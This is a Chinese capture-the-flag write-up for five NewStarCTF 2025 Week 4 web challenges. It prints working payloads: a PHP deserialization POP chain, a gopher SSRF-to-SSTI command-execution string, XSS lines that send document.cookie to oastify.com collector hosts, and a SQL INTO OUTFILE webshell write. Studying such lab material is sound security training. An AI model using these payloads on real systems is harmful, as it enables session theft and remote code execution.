NewStarCTF2025-Week4-Web

目录

1、小羊走迷宫

2、武功秘籍

3、ssti在哪里?

4、小E的留言板

5、Sqlupload


1、小羊走迷宫

简单 php 反序列化,构造 pop 链即可

主要就是对保护变量的访问吧,这里采用新增一个类的公有方法实现

Exp:

php 复制代码
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
    public function setWord1($newWord1)
    {
        $this->door = $newWord1;
    }
    public function setWord2($newWord2)
    {
        $this->chest = $newWord2;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path = 'flag.php';
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}
$e = new endPoint();
$t = new Treasure();
$t->setWord1($e);
$tt = new Treasure();
$tt->setWord2($t);
$s = new SaySomething();
$s->sth = $tt;
$p = new startPoint();
$p->direction = $s;
echo base64_encode(serialize($p));

然后是对非法参数名的绕过,php8之前遇到中括号会被转成下划线,但是只转一次,从而保留后面的非法参数名点

payload:

php 复制代码
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19

2、武功秘籍

在页面随便点了下跳转到后台登录界面,存在弱口令:admin/admin

存在文件上传点

简单的文件类型绕过

找到木马路径

调用

3、ssti在哪里?

存在 ssrf

因为是 flask 服务,我们直接读源码

将 name 接受的东西给到了 template,感觉有 SSTI,结合题目意思那多半就是有了

用 gopher 协议打

先看了下根目录,未见 flag

当前目录也没有

读了下这个 internal_web.py,确实存在 SSTI 注入

Flag 在环境变量,payload:

php 复制代码
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

4、小E的留言板

随便注册一个账户进去就可以留言

过滤了尖括号,还有一些关键词可以双写绕过

php 复制代码
" oonnmouseover ="alert(1)
php 复制代码
" oonnmouseover ="alert(document.cookie)

"oonnmouseover="new Image().src='http://qf9t9vv2gq2vm2q9jostpeivwm2dq8ex.oastify.com/?a=' +encodeURICompoonnent(document.cookie)

可以接收到当前的 cookie,但是报告留言小 e 的不行,因为我们目前的 payload 需要手动触发(鼠标悬停)

换个写法

php 复制代码
"autofofocuscus oonnfofocuscus="new Image().src='http://y321x3ja4yq3aaeh7wg1dm63kuqlei27.oastify.com/?a='+encodeURICompoonnent(document.cookie)

报告留言即可

5、Sqlupload

问题在 getFileList.php,检查不严谨

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

调用 getFileList.php,payload:

php 复制代码
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

木马确实写进去了,但是无法读取 /flag

flag 需要 root 用户,但是 readFlag 其他用户也可以执行

运行程序将结果重定向即可

相关推荐
humors2218 小时前
新手笔记本/路由/手机安全问题小记
安全·华为·电脑·手机·路由器·笔记本·tplink
廋到被风吹走9 小时前
【AI】从“卖能力“到“卖信任“,合规与安全成为新战场
人工智能·安全
FrameNotWork10 小时前
HarmonyOS 6.0 文件加密与安全存储:从哈希到硬件级密钥管理全链路实战
安全·哈希算法·harmonyos
神州世通10 小时前
解密企业通信安全防线:Avaya Aura 三层安全架构深度解析
开发语言·php
AC赳赳老秦11 小时前
企业工商公开信息采集分析:OpenClaw 批量查询企业工商信息,生成企业画像报告
大数据·开发语言·python·自动化·php·deepseek·openclaw
栩栩云生12 小时前
命令行的门槛从"会写"变成了"会拦"
安全·ai编程·命令行
GitLqr12 小时前
别再盲目复制了:彻底搞懂 CORS 的本质与那些“神坑”
安全·http·面试
xian_wwq12 小时前
【案例分析】Hugging Face生产基础设施入侵攻击分析
网络·安全
云水一下13 小时前
零基础玩转bWAPP靶场(十三):SQL 注入(GET/搜索型)
web安全·sql注入·bwapp
2401_8734794014 小时前
如何识别C2通信中的恶意出站IP?IP离线库+威胁情报融合方案
网络·tcp/ip·安全·ip